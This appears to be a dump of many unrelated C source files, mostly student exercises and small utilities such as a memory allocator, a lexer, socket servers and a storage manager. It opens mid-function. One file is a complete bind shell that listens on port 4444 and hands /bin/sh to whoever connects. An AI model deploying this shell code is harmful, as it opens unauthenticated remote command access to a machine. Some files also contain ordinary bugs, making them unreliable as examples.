h=free_block;
fbt=(struct free_block_type *)malloc(sizeof(struct free_block_type));
fbt->size=ab->size;
fbt->start_addr=ab->start_addr;
while(h->next!=NULL)
h=h->next;
h->next=fbt;
fbt->next=NULL;
rearrange_ff();
king(free_block);
rearrange(algorithm);
return ab->size;
}
//release ab
int dispose(struct allocated_block *free_ab){
struct allocated_block *pre,*ab;
if(free_ab==allocated_block_head){
allocated_block_head=allocated_block_head->next;
free(free_ab);
return free_ab->size;
}
pre=allocated_block_head;
ab=allocated_block_head->next;
while(ab!=free_ab){
pre=ab;
ab=ab->next;
}
pre->next=ab->next;
free(ab);
return ab->size;
}
//kill a process and deallocate it's memory
void kill_process(){
struct allocated_block *ab;
int p;
fprintf(stdout,"Process id: ");
fscanf(stdin,"%d",&p);
ab=find_process(p);
if(ab!=NULL){
free_mem(ab);
dispose(ab);
}
}
//create new process
int new_process(){
struct allocated_block *ab;
int size;
int ret;
ab=(struct allocated_block *)malloc(sizeof(struct allocated_block));
if(!ab)exit(-5);
ab->next=NULL;
pid++;
sprintf(ab->process_name,"PROCESS-%d",pid);
ab->pid=pid;
fprintf(stdout,"Size of %s: ",ab->process_name);
fscanf(stdin,"%d",&size);
if(size>0)ab->size=size;
ret=allocate_mem(ab);
if(ret==ab->size){
if(allocated_block_head==NULL){
allocated_block_head=ab;
return ab->pid;
}else{
ab->next=allocated_block_head;
allocated_block_head=ab;
return ab->pid;
}
}else if(ret==-1){
fprintf(stdout,"Allocate failed\n");
free(ab);
return -1;
}else{
fprintf(stdout,"Unknown erro\n");
}
return ab->pid;
}
//show memory statu
int display_mem_usage(){
struct free_block_type *fbt=free_block;
struct allocated_block *ab=allocated_block_head;
if(fbt==NULL){
fprintf(stdout,"Out of memory\n");
return -1;
}
fprintf(stdout,"Memory free\n%20s%20s\n","start addr","size");
while(fbt!=NULL){
if(fbt->size==0){
fbt=fbt->next;
continue;
}
fprintf(stdout,"%20d%20d\n",fbt->start_addr,fbt->size);
fbt=fbt->next;
}
fprintf(stdout,"Memory allocated\n%10s%20s%10s%10s\n","pid","proc name","start addr","size");
while(ab!=NULL){
fprintf(stdout,"%10d%20s%10d%10d\n",ab->pid,ab->process_name,ab->start_addr,ab->size);
ab=ab->next;
}
return 0;
}
int main(){
char choice='6';
pid=0;
free_block=init_free_block(mem_size);
while(1){
display_menu();
choice=getchar();
while(choice>'5'||choice<'0'){
choice=getchar();
fprintf(stdout,"%c",choice);
}
switch(choice){
case '1':
set_mem_size();
break;
case '2':
set_algorithm();
flag=1;
break;
case '3':
new_process();
flag=1;
break;
case '4':
kill_process();
flag=1;
break;
case '5':
display_mem_usage();
flag=1;
break;
case '0':
freenode(free_block);
freenod1(allocated_block_head);
exit(0);
break;
default:
fprintf(stdout,"%d\n",choice);
break;
}
}
return 0;
}
|
C
|
/*
Node is defined as below and
Post-order traversal function is as shown
struct node
{
int data;
struct node* left,*right;
};
*/
void postorder(struct node* root)
{
if(root==NULL)
return;
inorder(root->left);
inorder(root->right);
printf("%d ",root->data);
}
|
C
|
#include "dir.h"
#include "../write_file.h"
#include "../send_file.h"
void *recieve_func(void *arg)
{
int new_socket = *((int*)arg);
free(arg);
int rc;
char filename[1024];
bzero(filename,1024);
rc = recv(new_socket,filename,sizeof(filename),0);//Recebe nome do arquivo
write_file(new_socket,filename);//Comeca a escrever o arquivo
pthread_exit(NULL);
}
void *send_func(void *arg)
{
int new_socket = *((int*)arg);
free(arg);
size_t size = 0;
int rc;
FILE *fp;
char path[4096] = {0};
char filename[1024] ={0};
rc = recv(new_socket,filename,sizeof(filename),0);//Recebe nome do arquivo
sprintf(path,"./stored/%s",filename);//Cria o path do arquivo
printf("%s\n",path);
fp = fopen(path,"r");
if(fp == NULL){
int res = -1;
send(new_socket,(int*)&res,sizeof(int),0);
fclose(fp);
close(new_socket);
}
else{
int res = 0;
send(new_socket,(int*)&res,sizeof(int),0);
struct stat st;
stat(path,&st);
size = st.st_size;//Recebe o tamanho do arquivo
send_file(fp,new_socket,filename,size);//Inicia o envio do arquivo
fclose(fp);
}
pthread_exit(NULL);
}
void *remove_func(void *arg)
{
int new_socket = *((int*)arg);
int res = 0;
free(arg);
char filename[1024];
char path[4096];
if(findName(filename) == 1){
if(remove(path) != 0){
res = -1;
send(new_socket,(int*)&res,sizeof(int),0);//Informa o estado da operacao
}
else{
printf("%s excluido\n",path);
send(new_socket,(int*)&res,sizeof(int),0);//Informa o estado da operacao
}
}
else{
printf("Erro ao encontrar arquivo.");
res = -1;
send(new_socket,(int*)&res,sizeof(int),0);//Informa que o arquivo nao existe
}
recv(new_socket,path,4096,MSG_WAITALL);
printf("%s\n",path);
shutdown(new_socket,SHUT_WR);
close(new_socket);
pthread_exit(NULL);
}
void *dir_func(void *arg)
{
int new_socket = *((int*)arg);
dir(new_socket);
char data[BUFFER_SIZE] = {0};
recv(new_socket,data,4096,MSG_WAITALL);
printf("%s\n",data);
shutdown(new_socket,SHUT_WR);
close(new_socket);
pthread_exit(NULL);
}
|
C
|
#include <stdio.h>
#include <string.h>
/*
strlen a: 5, b: 5
sizeof a: 6, b: 8
Address a: 0x7fff5264cb36, 0x7fff5264cb37
Address b: 0x10d5b3f0a, 0x10d5b3f0b
a: Heflo
c: 1
*c+1: 2
*(c+1): 2
sizeof: 4
d: 1
*d+1: 2
*(d+1): 2
sizeof: 8
*/
int main(void)
{
char a[] = "Hello";
char *b = "World";
char c[] = "123";
char *d = "123";
printf("strlen a: %lu, b: %lu\n", strlen(a), strlen(b));
printf("sizeof a: %lu, b: %lu\n", sizeof(a), sizeof(b));
printf("Address a: %p, %p\n", a, a+1);
printf("Address b: %p, %p\n", b, b+1);
//*(b + 2) = 'f';
*(a + 2) = 'f';
printf("a: %s\n", a);
printf("c: %c\n", *c);
printf("*c+1: %c\n", *c+1);
printf("*(c+1): %c\n", *(c+1));
printf("sizeof: %lu\n", sizeof(c));
printf("d: %c\n", *d);
printf("*d+1: %c\n", *d+1);
printf("*(d+1): %c\n", *(d+1));
printf("sizeof: %lu\n", sizeof(d));
return 1;
}
|
C
|
#include "stdio.h"
int foo()
{
printf("foo!\n");
return 0;
}
int footwo(int x)
{
printf("%d\n", x);
return 0;
}
int foothree(int x, int y)
{
printf("%d\n", x + 2 * y);
return 0;
}
|
C
|
#include "xstriggerindicationdata.h"
#include <string.h>
/*! \addtogroup cinterface C Interface
@{
*/
/*! \brief Destroy the %XsTriggerIndicationData object */
void XsTriggerIndicationData_destruct(XsTriggerIndicationData* thisPtr)
{
memset(thisPtr, 0, sizeof(XsTriggerIndicationData));
}
/*! \brief Returns true if the object is valid (line and polarity may not be 0) */
int XsTriggerIndicationData_valid(const XsTriggerIndicationData* thisPtr)
{
return thisPtr->m_line != 0 && thisPtr->m_polarity != 0;
}
/*! @} */
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_backtracking.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: alima <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/12/05 14:54:03 by alima #+# #+# */
/* Updated: 2017/12/08 14:34:34 by mkamel ### ########.fr */
/* */
/* ************************************************************************** */
#include "fillit.h"
static char **ft_fillin(char **grid, t_lst *list, int *tab)
{
grid[tab[0] + list->x[0]][tab[1] + list->y[0]] = list->letter;
grid[tab[0] + list->x[1]][tab[1] + list->y[1]] = list->letter;
grid[tab[0] + list->x[2]][tab[1] + list->y[2]] = list->letter;
grid[tab[0] + list->x[3]][tab[1] + list->y[3]] = list->letter;
return (grid);
}
static int ft_try(char **grid, t_lst *list, int size, int *tab)
{
if ((tab[0] + list->x[3]) >= size || (tab[1] + list->y[3]) >= size ||
(tab[0] + list->x[2]) >= size || (tab[1] + list->y[2]) >= size ||
(tab[0] + list->x[1]) >= size || (tab[1] + list->y[1]) >= size ||
(tab[0] + list->x[0]) >= size || (tab[1] + list->y[0]) >= size ||
(tab[1] + list->y[3]) < 0 || (tab[1] + list->y[2]) < 0 ||
(tab[1] + list->y[1]) < 0 || (tab[1] + list->y[0]) < 0)
return (0);
if (grid[tab[0] + list->x[0]][tab[1] + list->y[0]] == '.')
{
if (grid[tab[0] + list->x[1]][tab[1] + list->y[1]] == '.')
{
if (grid[tab[0] + list->x[2]][tab[1] + list->y[2]] == '.')
{
if (grid[tab[0] + list->x[3]][tab[1] + list->y[3]] == '.')
{
return (1);
}
}
}
}
return (0);
}
static char **ft_solution(char **grid, t_lst *list, int size)
{
char **tmp;
int tab[2];
if (!list->next)
return (grid);
tmp = NULL;
tab[0] = 0;
while (tab[0] < size)
{
tab[1] = 0;
while (tab[1] < size)
{
while (grid[tab[0]][tab[1]] != '.' && tab[1] < size)
tab[1]++;
if (ft_try(grid, list, size, tab) && list->next)
tmp = ft_solution(ft_fillin(grid, list, tab), list->next, size);
if (tmp)
return (tmp);
grid = ft_retry(grid, list, size);
tab[1]++;
}
tab[0]++;
}
return (0);
}
char **ft_backtracking(t_lst *list, int size, char **grid)
{
grid = ft_gridmaker(grid, size);
if (!(ft_solution(grid, list, size)))
grid = ft_backtracking(list, ++size, grid);
return (grid);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#define MAX(x, y) (((x) > (y)) ? (x) : (y))
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
struct tree{
int data;
struct tree *left,*right;
};
struct tree * allocate(int data)
{
struct tree *temp = (struct tree *)malloc(sizeof(struct tree));
temp->data=data;
temp->left=NULL;
temp->right=NULL;
return temp;
}
int isbalanced(struct tree *h)
{
int left,right;
if (h==NULL)
return 0;
else
{
left=isbalanced(h->left);
right=isbalanced(h->right);
if(abs(left-right)>1)
printf("Node with Value : %d is Unbalanced\n",(h->data));
else
printf("Node with Value : %d is Balanced\n",(h->data));
return MAX(left,right)+1;
}
}
int main()
{
struct tree *head;
head=allocate(1);
head->left=allocate(2);
head->left->left=allocate(3);
head->right=allocate(4);
isbalanced(head);
return 0;
}
|
C
|
#include <stdio.h>
void swap(int *, int *);
int main(void) {
//宣告建立變數
int a = 22;
int b = 11;
//進行交換
printf("兩數交換以前.. a = %d, b = %d\n", a, b);
swap(&a, &b);
printf("兩數交換以後.. a = %d, b = %d\n", a, b);
return 0;
}
void swap(int *aPtr, int *bPtr) {
int temp;
temp = *aPtr;
*aPtr = *bPtr;
*bPtr = temp;
}
/*《程式語言教學誌》的範例程式
http://kaiching.org/
檔名:ptrdemo4.c
功能:示範利用指標交換變數值
作者:張凱慶 */
|
C
|
#include<stdio.h>
#include<math.h>
int main(){
int a,b,c ;
float dis ;
printf("enter a,b,c :") ;
scanf("%d%d%d",&a,&b,&c) ;
dis = sqrt((b*b) - 4*a*c ) ;
printf("%f", dis) ;
return 0 ;
}
|
C
|
#ifndef LINKEDLIST_H
typedef struct Node{
int value;
struct Node* next;
}Node;
Node* newLinkedList();
int size(Node*);
Node* push(Node**, int);
#endif
|
C
|
/*
* Print nxn idendity matrix (input n from keyboard)
*/
#include <stdio.h>
int main()
{
// row=i, column=j
int i,j;
// size of idendity matrix from keyboard
int n;
// int counter=0;
// get input from keyboard
printf("Enter the size of I-matrix: ");
scanf("%d", &n);
// print the result
for(i=0; i<n ;i++)// loop for rows
{
for(j=0; j<n ; j++)// loop for columns
{
if (i==j)
{
printf("1 ");
/*
if(j==1)
{
break;
}
*/
}
else
{
printf("0 ");
}
}
printf("\n");
/*
if (i==1)
{
break;
}
*/
}
return 0;
}
|
C
|
#include <string.h>
typedef struct tagSBUF
{
char *buf;
size_t buf_size;
size_t pos;
} SBUF;
static void SBUF_init( SBUF *sbuf, char *buf, size_t size)
{
sbuf->buf = buf;
sbuf->buf_size = size;
sbuf->pos = 0;
sbuf->buf[ 0 ] = '\0';
}
#if 0
static void SBUF_reset( SBUF *buf )
{
sbuf->pos = 0;
sbuf->buf[ 0 ] = '\0';
}
#endif
static int SBUF_add( SBUF *sbuf, const char *buf, size_t size)
{
size_t left = sbuf->buf_size - sbuf->pos;
if (left == 0)
{
return -1;
}
if (left <= size)
{
size = left - 1;
}
memcpy( sbuf->buf + sbuf->pos, buf, size);
sbuf->pos += size;
sbuf->buf[ sbuf->pos ] = '\0';
return 0;
}
static int SBUF_add_s( SBUF *sbuf, const char *str)
{
return SBUF_add( sbuf, str, strlen( str ) );
}
static char * fmt_string( char *str, size_t str_len, size_t val, int radix)
{
int digit;
char ch_digit;
size_t pos = str_len - 1;
str[ pos ] = '\0';
while(val > 0)
{
digit = val % radix;
val /= radix;
if (digit <= 9) {
ch_digit = (char) ( digit + (int) '0' ); // assumes ASCII.
} else {
ch_digit = (char) ( digit - 10 + (int) 'A' ); // assumes ASCII
}
if (pos == 0)
{
return 0;
}
str[ --pos ] = ch_digit;
}
if (pos == (str_len - 1))
{
str[ --pos ] = '0';
}
return str + pos;
}
static int SBUF_fmt_size_t( SBUF *sbuf, size_t size)
{
char buf_s[ 128 ];
char *snum;
snum = fmt_string( buf_s, sizeof(buf_s), size, 10);
if (snum)
{
return SBUF_add_s( sbuf, snum );
}
return -1;
}
static int SBUF_fmt_ptr( SBUF *sbuf, void *ptr)
{
char buf_s[ sizeof(size_t) * 2 + 1 ];
char *snum;
snum = fmt_string( buf_s, sizeof(buf_s), (size_t) ptr, 16 );
if (snum)
{
return SBUF_add_s( sbuf, snum );
}
return -1;
}
|
C
|
/*
* =====================================================================================
*
* Filename: sysconf.c
*
* Description: sysconf 函数 include in <unistd.h>
*
* Created: 03/06/2013 11:13:49 AM
* =====================================================================================
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// {{{ CPU about
#if 0
// _SC_NPROCESSORS_ONLN // 取得机器当前有效(可用)的CPU个数
// _SC_NPROCESSORS_CONF // 取得机器配置时CPU 的个数
int main() {
long l = sysconf(_SC_NPROCESSORS_ONLN);
printf("available cpu count:%ld\n", l);
l = sysconf(_SC_NPROCESSORS_CONF);
printf("config cpu count:%ld\n", l);
return 0;
}
//}}}
#endif
//process default max open fd value? ulimit -n /ulimit -a (show all)
#include <sys/time.h>
#include <sys/resource.h>
//ulimit -aS 察看当前 shell 的Soft资源限制
//ulimit -aH 察看当前 shell 的Hard资源限制
//ulimit -n 330 修改当前shell的 NOFILE soft 限制为300, 所有在修改后从shell创建的
//processs 也会继承他
// 系统默认的资源限制数值可以在 /etc/security/limits.conf
// 中设置,比如设置nofile
// soft nofile 5000
// hard nofile 10000
//
// 修改hard 设置,
//
// 整个系统的最大nofile /proc/sys/fs/file-max
//
// Qus. fork 后继承 limit 吗
int main()
{
struct rlimit def;
if ((getrlimit(RLIMIT_NOFILE, &def)) == -1) {
perror("getrlimit failed");
return 0;
}
//1024, 4096
printf("maximum fd cur:%lld max:%lld\n", (long long)def.rlim_cur, (long long)def.rlim_max);
return 0;
}
|
C
|
#include<stdio.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<unistd.h>
#include<arpa/inet.h>
int main()
{
int sd,sd2,nsd,clilen,sport,len,port;
char sendmsg[100],rcvmsg[100];
struct sockaddr_in servaddr, cliaddr;
printf("enter server port\n");
scanf("%d",&sport);
printf("Selected port : %d\n",sport);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0)
printf("can't create\n");
else
printf("Socket is created\n");
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(sport);
sd2 = bind(sd,(struct sockaddr*)&servaddr, sizeof(servaddr));
if(sd2<0)
printf("can't bind\n");
else
printf("Binded\n");
listen(sd,5);
clilen = sizeof(cliaddr);
nsd = accept(sd,(struct sockaddr*)&cliaddr, &clilen);
if(nsd<0)
printf("can't accept");
else
printf("Accept");
printf("Client address : %s",inet_ntoa(cliaddr.sin_addr));
close(sd);
close(nsd);
}
|
C
|
#include "shell.h"
/**
* is_builtin - checks if a command is a builtin command
* @cmd: the given command
*
* Return: the position of @cmd in the builtins array, else -1
*/
builtin_t is_builtin(char *cmd)
{
builtin_t builtins[] = {
{"exit", exit_cmd},
{"env", env_cmd},
{NULL, NULL}
};
int i;
for (i = 0; builtins[i].cmd; i++)
if (_strcmp(builtins[i].cmd, cmd) == 0)
return (builtins[i]);
return (builtins[i]);
}
/**
* check_builtins - If command is a builtin command
* @cmd: an array of command and its arguments
*
* Return: the appropriate function to be executed, else NULL
*/
int (*check_builtins(char **cmd))(char **, int, char *)
{
builtin_t b = is_builtin(cmd[0]);
if (b.cmd)
return (b.f);
return (NULL);
}
/**
* env_cmd - builtin implementation of env command
* @cmd: Unused
* @status: the status code
*
* Return: Always 0
*/
int env_cmd(char **cmd, int status, char *filename)
{
int i;
(void) cmd;
(void) status;
(void) filename;
for (i = 0; environ[i]; i++)
{
print(environ[i]);
_putchar('\n');
}
return (0);
}
/**
* exit_cmd - builtin Implementation of exit command
* @cmd: an array of given command and its arguments
* @status: the status code
*
* Return: exit with the status code given by user, or
* previous execution status code
*/
int exit_cmd(char **cmd, int status, char *filename)
{
int i = 0;
if (!cmd[1])
{
free_memory_pp(cmd);
exit(status);
}
while (cmd[1][i])
{
if (_isalpha(cmd[1][i]) && cmd[1][i] != '-')
{
print(filename);
print(": ");
print(cmd[0]);
print(": ");
print("Illegal number: ");
print(cmd[1]);
_putchar('\n');
return (1);
}
i++;
}
status = _atoi(cmd[1]);
free_memory_pp(cmd);
exit(status);
}
|
C
|
#include <stdio.h>
void ScanInput (int *, int *);
void PrintResult (int);
int main (void) {
int inputNum;
int sum = 0;
ScanInput(&inputNum, &sum);
PrintResult(sum);
return 0;
}
void ScanInput(int * num, int *sum) {
while (*num != 0) {
fputs("정수 입력 : ", stdout);
scanf("%d", num);
*sum += *num;
}
return;
}
void PrintResult (int sum) {
printf("합 : %d \n", sum);
return;
}
|
C
|
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Returns 'true' if the character is a DELIMITER.
bool isDelimiter(char ch)
{
if (ch == ' ' || ch == '+' || ch == '-' || ch == '*' ||
ch == '/' || ch == ',' || ch == ';' || ch == '>' ||
ch == '<' || ch == '=' || ch == '(' || ch == ')' ||
ch == '[' || ch == ']' || ch == '{' || ch == '}')
return (true);
return (false);
}
// Returns 'true' if the character is an OPERATOR.
bool isOperator(char ch)
{
if (ch == '+' || ch == '-' || ch == '*' ||
ch == '/' || ch == '>' || ch == '<' ||
ch == '=')
return (true);
return (false);
}
// Returns 'true' if the string is a VALID IDENTIFIER.
bool validIdentifier(char* str)
{
if (str[0] == '0' || str[0] == '1' || str[0] == '2' ||
str[0] == '3' || str[0] == '4' || str[0] == '5' ||
str[0] == '6' || str[0] == '7' || str[0] == '8' ||
str[0] == '9' || isDelimiter(str[0]) == true)
return (false);
return (true);
}
// Returns 'true' if the string is a KEYWORD.
bool isKeyword(char* str)
{
if (!strcmp(str, "if") || !strcmp(str, "else") ||
!strcmp(str, "while") || !strcmp(str, "do") ||
!strcmp(str, "break") ||
!strcmp(str, "continue") || !strcmp(str, "int")
|| !strcmp(str, "double") || !strcmp(str, "float")
|| !strcmp(str, "return") || !strcmp(str, "char")
|| !strcmp(str, "case") || !strcmp(str, "char")
|| !strcmp(str, "sizeof") || !strcmp(str, "long")
|| !strcmp(str, "short") || !strcmp(str, "typedef")
|| !strcmp(str, "switch") || !strcmp(str, "unsigned")
|| !strcmp(str, "void") || !strcmp(str, "static")
|| !strcmp(str, "struct") || !strcmp(str, "goto"))
return (true);
return (false);
}
// Returns 'true' if the string is an INTEGER.
bool isInteger(char* str)
{
int i, len = strlen(str);
if (len == 0)
return (false);
for (i = 0; i < len; i++) {
if (str[i] != '0' && str[i] != '1' && str[i] != '2'
&& str[i] != '3' && str[i] != '4' && str[i] != '5'
&& str[i] != '6' && str[i] != '7' && str[i] != '8'
&& str[i] != '9' || (str[i] == '-' && i > 0))
return (false);
}
return (true);
}
bool isRealNumber(char* str)
{
int i, len = strlen(str);
bool hasDecimal = false;
if (len == 0)
return (false);
for (i = 0; i < len; i++) {
if (str[i] != '0' && str[i] != '1' && str[i] != '2'
&& str[i] != '3' && str[i] != '4' && str[i] != '5'
&& str[i] != '6' && str[i] != '7' && str[i] != '8'
&& str[i] != '9' && str[i] != '.' ||
(str[i] == '-' && i > 0))
return (false);
if (str[i] == '.')
hasDecimal = true;
}
return (hasDecimal);
}
// Extracts the SUBSTRING.
char* subString(char* str, int left, int right)
{
int i;
char* subStr = (char*)malloc(
sizeof(char) * (right - left + 2));
for (i = left; i <= right; i++)
subStr[i - left] = str[i];
subStr[right - left + 1] = '\0';
return (subStr);
}
// Parsing the input STRING.
void parse(char* str)
{
int left = 0, right = 0;
int len = strlen(str);
while (right <= len && left <= right) {
if (isDelimiter(str[right]) == false)
right++;
if (isDelimiter(str[right]) == true && left == right) {
if (isOperator(str[right]) == true)
printf("'%c' este un operator\n", str[right]);
right++;
left = right;
} else if (isDelimiter(str[right]) == true && left != right
|| (right == len && left != right)) {
char* subStr = subString(str, left, right - 1);
if (isKeyword(subStr) == true)
printf("'%s' este un cuvant cheie\n", subStr);
else if (isInteger(subStr) == true)
printf("'%s' este un intreg\n", subStr);
else if (isRealNumber(subStr) == true)
printf("'%s' este un numar real\n", subStr);
else if (validIdentifier(subStr) == true
&& isDelimiter(str[right - 1]) == false)
printf("'%s' este un identificator valid\n", subStr);
else if (validIdentifier(subStr) == false
&& isDelimiter(str[right - 1]) == false)
printf("'%s' este un identificator nevalid\n", subStr);
left = right;
}
}
return;
}
// DRIVER FUNCTION
int main(int argc, char* argv[])
{
FILE * pFile;
long lSize;
char * buffer;
size_t result;
pFile = fopen ( argv[1] , "r" );
if (pFile==NULL) {fputs ("File error",stderr); exit (1);}
fseek (pFile , 0 , SEEK_END);
lSize = ftell (pFile);
rewind (pFile);
buffer = (char*) malloc (sizeof(char)*lSize);
if (buffer == NULL) {fputs ("Memory error",stderr); exit (2);}
result = fread (buffer,1,lSize,pFile);
if (result != lSize) {fputs ("Reading error",stderr); exit (3);}
parse(buffer);
fclose (pFile);
free (buffer);
return (0);
}
|
C
|
#include<stdio.h>
int main()
{
int i,num,sum=1;
printf("enter the number",num);
scanf("%d",&num);
for(i=1;i<=num;i++)
{
sum=sum*i;
}
rteurn 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/i2c.h>
#include <linux/i2c-dev.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "./headers/display.h"
#define I2CDRV_LINUX_BUS0 "/dev/i2c-0"
#define I2CDRV_LINUX_BUS1 "/dev/i2c-1"
#define I2CDRV_LINUX_BUS2 "/dev/i2c-2"
#define I2C_DEVICE_ADDRESS 0x20
#define REG_DIRA 0x00
#define REG_DIRB 0x01
#define REG_OUTA 0x14
#define REG_OUTB 0x15
int I2C_initI2cBus(char* bus, int address)
{
//Set GPIO pins to I2C
system("config-pin P9_17 i2c");
system("config-pin P9_18 i2c");
int i2cFileDesc = open(bus, O_RDWR);
if (i2cFileDesc < 0) {
printf("I2C DRV: Unable to open bus for read/write (%s)\n", bus);
perror("Error is:");
exit(-1);
}
int result = ioctl(i2cFileDesc, I2C_SLAVE, address);
if (result < 0) {
perror("Unable to set I2C device to slave address.");
exit(-1);
}
return i2cFileDesc;
}
void I2C_writeI2cReg(int i2cFileDesc, unsigned char regAddr, unsigned char value)
{
unsigned char buff[2];
buff[0] = regAddr;
buff[1] = value;
int res = write(i2cFileDesc, buff, 2);
if (res != 2) {
perror("Unable to write i2c register");
exit(-1);
}
}
|
C
|
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include "version.h"
void print_version(char *program, char *argument) /*includefile*/
{
if ( (strings_equal(argument,"version")) ||
(strings_equal(argument,"-version"))) {
printf("PROGRAM: %s is part of SIGPROC version: %.1f\n",program,SIGPROC_VERSION);
exit(0);
}
}
|
C
|
#include "holberton.h"
/**
* factorial - prints the factorial of n
*
* @n: number to do the factorial
*
* Return: -1 if n lower than 0 and factorial if bigger than it
*
*/
int factorial(int n)
{
if (n == 1 || n == 0)
{
return (1);
}
else if (n < 0)
{
return (-1);
}
return (n * factorial(n - 1));
}
|
C
|
/* Finite Element Method Module
*
* Author: ignacio.romero@imdea.org
*
* Copyright 2014 IMDEA Materials Institute, Getafe, Madrid, Spain,
* and Technical University of Madrid (UPM), Madrid, Spain
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* idata.h
*
* ignacio romero
* june 2000
*
* idatas are collections of integers that include a counter with the number of integers
* in the list. When accesssing the individual integers, the list starts from the position 0.
*
*/
#ifndef _idata_h
#define _idata_h
#ifdef __cplusplus
extern "C" {
#endif
#include <stdio.h>
/*----------------------------------------------------------------------------------------*/
/* data structure */
/*----------------------------------------------------------------------------------------*/
typedef struct{
int maxdata; /* maximum number of integers that can go in the list */
int ndata; /* number of integers that have been added to the list */
int *data; /* the actual list of integers */
}idataT;
typedef idataT *idata;
/*----------------------------------------------------------------------------------------*/
/* functions */
/*----------------------------------------------------------------------------------------*/
/* create and erase new idata */
idata NewEmptyIdata(void);
idata NewIdata(int length);
void FillIdata(idata idt, const int length, int* dd);
void FreeIdata(idata idt);
idata CopyIdata(idata idt);
/* Add data and fill in individual integers in the idata list */
void AppendToIdata(idata idt, int k);
void IdataAppend(idata id, int nargs, ...);
void PutInIdata(idata idt, int theint, int position);
/* Operations on idata */
void IdataEmpty(idata idt);
int IdataOrder(idata idt);
void IdataAppendIdata(idata tothis, idata appendthis);
int IdataRemoveRepeated(idata idt);
/* retrive individual integers from the list */
int GetIntInIdata(int n, idata idt);
int IdataMaximum(idata idt);
int IdataMinimum(idata idt);
/* obtain information about the idata */
int IsIntegerInIdata(idata idt, int i);
int IdataSize(idata idt);
int PositionInIdata(idata idt, int i);
int IdataCompare(idata idt1, idata idt2);
/* Display information */
void PrintIdata(idata idt);
void PrintIdataInFile(FILE *fp, idata idt);
void PrintIdataInBinaryFile(FILE *fp, idata idt);
#ifdef __cplusplus
}
#endif
#endif
|
C
|
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
const int goo = 100;
const int choki = 101;
const int paa = 102;
int main(int argc, char**argv)
{
int sockfd,n;
struct sockaddr_in servaddr,cliaddr;
socklen_t len;
char mesg[1000];
int serverjanken[3] = {100,101,102};
sockfd=socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
servaddr.sin_port=htons(1111);
bind(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr));
for (;;)
{
len = sizeof(cliaddr);
n = recvfrom(sockfd,mesg,1000,0,(struct sockaddr *)&cliaddr,&len);
printf("recv:%d \n", mesg[0]);
int i = rand()%3;
int svjanken = serverjanken[i];
if(mesg[0] == goo && svjanken == goo){
printf("clinent:goo sv:goo");
}
else if(mesg[0] == goo && svjanken == choki){
printf("clinent:goo sv:choki");
}
else if(mesg[0] == goo && svjanken == paa ){
printf("clinent:goo sv:paa");
}
sendto(sockfd,mesg,n,0,(struct sockaddr *)&cliaddr,sizeof(cliaddr));
}
}
|
C
|
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define PORT 4444
#define EXE "/bin/sh"
int main()
{
int sockfd;
int connection;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
char * argv2[] = {EXE, (char * const)NULL};
char * envp2[] = {NULL};
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(PORT);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bind(sockfd, (struct sockaddr *)&addr, addrlen);
listen(sockfd, 1);
printf("{+] Listening\n");
connection = accept(sockfd,(struct sockaddr *)&addr, &addrlen);
printf("[+] Connection accepted\n");
close(sockfd);
dup2(connection, STDOUT_FILENO);
dup2(connection, STDERR_FILENO);
dup2(connection, STDIN_FILENO);
execve(EXE, argv2, argv2);
printf("[+] Done\n");
return 0;
}
|
C
|
#include "dberror.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "storage_mgr.h"
#include <math.h>
//initial storage manager
void initStorageManager (void)
{
}
//Create Page
RC createPageFile (char *fileName)
{
FILE *myfile = fopen(fileName, "w+");
char *p = calloc(PAGE_SIZE,sizeof(char));
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
fwrite(p, sizeof(char), PAGE_SIZE, myfile);
fclose(myfile);
free(p);
return RC_OK;
}
//Open Page
RC openPageFile (char *fileName, SM_FileHandle *fHandle)
{
FILE *myfile = NULL;
myfile = fopen(fileName, "r+");
if(myfile == NULL)
{
return RC_FILE_NOT_FOUND;
}
fHandle->fileName = fileName;
fHandle->mgmtInfo = myfile;
fHandle->totalNumPages = 1;
fHandle->curPagePos = 0;
fseek(myfile, 0, SEEK_SET);
fwrite(fileName,PAGE_SIZE,0,myfile);
fclose(myfile);
return RC_OK;
}
//Close Page
RC closePageFile (SM_FileHandle *fHandle)
{
FILE *myfile;
myfile = fopen(fHandle->fileName,"r");
fclose(myfile);
return RC_OK;
}
//Destroy Page
RC destroyPageFile (char *fileName)
{
if(remove(fileName) == -1)
{
perror("Error in deleting a file");
}
else
{
return RC_OK;
}
}
//Read Block
